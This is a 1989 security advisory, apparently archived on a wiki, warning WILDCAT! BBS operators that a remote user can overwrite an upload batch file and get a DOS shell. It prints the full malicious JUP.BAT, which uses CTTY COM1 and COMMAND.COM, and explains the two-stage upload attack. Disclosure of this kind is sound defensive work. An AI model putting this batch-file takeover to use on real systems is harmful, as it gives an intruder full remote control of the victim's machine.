WILDCAT!(tm) BBS system Security Emergency Documentation January 2, 1989 Richard B. Johnson PROGRAM EXCHANGE (303) 440-0786
There exists within the WILDCAT!(tm) external protocol pro- cedures the considerable possibility that somebody who is familiar with the system could execute a copy of COMMAND.COM and have full control of your computer, erasing or format- ting disks, and creating all kinds of havoc. Basically, any- thing that you could do from the keyboard can be done by the remote-user if he knows how to do it.
Please read all the ".DOC" files in this archive and the archives included within. I also suggest that you implement LOG (LOG.ARC) if you haven't already done so. I was able to detect an attempt at breaching security on my own system. The only thing that prevented the hacker from getting to the DOS level was he didn't know what the "upload" filename was on my system. The LOG utility was what first called my attention to this problem.
Note that I was able to log onto a system in Colorado as a new user and, within 60 seconds I was at the 'DOS' level. It had taken me only 20 seconds on my own system but I knew the names of the "upload" batch files and the communications adapter port being used.
The problem is that the external protocol setup, as advised by Mustang Software, will allow an "upload" batch file to be replaced by a batch file of the same name during an upload! If your communications adapter port is COM1, and you use a batch file called JUP.BAT for JMODEM uploads, the hacker could upload the following JUP.BAT file:
REM * hacker's special REM REM REM REM REM REM REM IF %3 == HACKER.TXT GOTO BREAK GOTO END :BREAK @ECHO OFF CTTY COM1 COMMAND :END
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It works this way. The first "upload" is a file called JUP.BAT. JMODEM (could be ZMODEM or any external protocol) dutifully overwrites the existing JUP.BAT and exits with no errors.
COMMAND.COM, when executing a ".BAT" file opens then closes the file for each line in the file. COMMAND.COM "knows" that the last line was, perhaps, line 4. It therefore looks at line 5 for its next instruction. It executes one of the several "REM" statements, then exits at the ":END" label since the filename (%3) was not HACKER.TXT.
The BBS system software regains control and, finding no file transferred, simply continues like nothing happened.
The hacker then attempts to upload HACKER.TXT using the JMODEM protocol. JUP.BAT has been replaced with the hacker's new version. Since the %3 parameter is now HACKER.TXT, the batch file branches to label ":BREAK". The console input is redirected to the COM1 port and an additional copy of COMMAND.COM is loaded with its I/O having been redirected to the COM1 port.
Of course the hacker has not executed any external protocols on his system. He's just sitting there in terminal-mode in full control of your system.
Caveat modulus carborundum.
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/data/webs/external/dokuwiki/data/pages/archive/bbs/security.txt · Last modified: 1999/10/29 06:40 by 127.0.0.1